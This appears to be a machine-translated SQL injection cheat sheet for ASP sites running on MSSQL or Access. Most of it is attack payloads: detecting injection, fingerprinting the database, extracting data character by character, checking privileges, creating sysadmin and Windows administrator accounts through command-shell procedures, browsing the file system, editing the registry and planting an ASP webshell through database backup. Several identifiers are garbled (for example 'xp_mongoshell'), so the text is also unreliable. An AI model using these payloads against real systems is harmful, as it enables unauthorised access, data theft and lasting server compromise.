Comprehensive Understanding of ASP injection methods

> 1. Determine whether injection exists.
; And 1 = 1
; And 1 = 2

2. Determine whether it is MSSQL.
; And user> 0

3. The injection parameter is a character.
And [query condition] And ''='

4. parameters are not filtered during search.
'And [query condition] And' % 25' ='

5. Determine the Database System
; And (select count (*) from sysobjects)> 0 MSSQL
; And (select count (*) from msysobjects)> 0 access

6. Guess the database
; And (select count (*) from [database name])> 0

7. Guess the field
; And (select count (field name) from database name)> 0

8. Length of records in the guess Field
; And (select top 1 Len (field name) from database name)> 0

9. (1) obtain the ASCII value of a field (ACCESS)
; And (select top 1 ASC (mid (field name, 1, 1) from database name)> 0

(2) Guess the ASCII value of a field (MSSQL)
; And (select top 1 Unicode (substring (field name, 1, 1) from database name)> 0

10. Test the permission structure (MSSQL)
; And 1 = (select is_srvrolemember ('sysadmin '));--
; And 1 = (select is_srvrolemember ('serveradmin '));--
; And 1 = (select is_srvrolemember ('setupadmin '));--
; And 1 = (select is_srvrolemember ('securityadmin '));--
; And 1 = (select is_srvrolemember ('diskadmin '));--
; And 1 = (select is_srvrolemember ('bulkadmin '));--
; And 1 = (select is_member ('db _ owner '));--

11. add MSSQL and system accounts
; Exec master. DBO. sp_addlogin username ;--
; Exec master. DBO. sp_password null, username, password ;--
; Exec master. DBO. SP_ADDSRVROLEMEMBER SysAdmin username ;--
; Exec master. DBO. xp_mongoshell 'net User Username Password/workstations: */times: All/passwordchg: yes/passwordreq: yes/active: yes/add ';--
; Exec master. DBO. xp_mongoshell 'net User Username Password/add ';--
; Exec master. DBO. xp_mongoshell 'net localgroup administrators username/add ';--

12. (1) traverse the directory
; Create Table dirs (paths varchar (100), Id INT)
; Insert dirs exec master. DBO. xp_dirtree 'C :/'
; And (select top 1 paths from dirs)> 0
; And (select top 1 paths from dirs where paths not in ('obtained paths ')>)

(2) traverse directories
; Create Table temp (ID nvarchar (255), num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255 ));--
; Insert temp exec master. DBO. xp_availablemedia; -- get all current drives
; Insert into temp (ID) exec master. DBO. xp_subdirs 'C:/'; -- get the subdirectory list
; Insert into temp (ID, num1) exec master. DBO. xp_dirtree 'C:/'; -- get the directory tree structure of all subdirectories
; Insert into temp (ID) exec master. DBO. xp_shareshell 'Type C:/web/index. asp '; -- view the File Content

13. MSSQL Stored Procedures
Xp_regenumvalues registry Root Key, subkey
; Exec xp_regenumvalues 'HKEY _ LOCAL_MACHINE ', 'Software/Microsoft/Windows/CurrentVersion/run' returns all key values in multiple Record Sets
Xp_regread Root Key, subkey, key value name
; Exec xp_regread 'HKEY _ LOCAL_MACHINE ', 'Software/Microsoft/Windows/currentversion', 'commonfilesdir', return the value of the specified key
Xp_regwrite Root Key, subkey, Value Name, value type, Value
There are two value types: REG_SZ and REG_DWORD.
; Exec xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'Software/Microsoft/Windows/currentversion ',
'Testvaluename', 'reg _ SZ ', 'Hello' write to the Registry
Xp_regdeletevalue Root Key, subkey, Value Name
Exec xp_regdeletevalue 'HKEY _ LOCAL_MACHINE ', 'Software/Microsoft/Windows/currentversion', 'testvaluename' delete a value
Xp_regdeletekey 'HKEY _ LOCAL_MACHINE ', 'Software/Microsoft/Windows/CurrentVersion/testkey' delete key, including all values under this key

14. MSSQL backup creates webshell
Use Model
Create Table cmd (STR image );
Insert into cmd (STR) values ('<% dim oscript %> ');
Backup database model to disk = 'C:/L. asp ';

15. MSSQL built-in functions
; And (select @ version)> 0 to get the Windows version number
; And user_name () = 'dbo' determine whether the user connected to the current system is sa
; And (select user_name ()> 0 blow the user connected to the current system
; And (select db_name ()> 0 to get the database currently connected

16. Simple webshell
Use Model
Create Table cmd (STR image );
Insert into cmd (STR) values ('<% = server. createobject ("wscript. shell "cmd.exe C (" cmd.exe/C "& request (" C ")). stdout. readall %> ');
Backup database model to disk = 'G:/wwwtest/L. asp'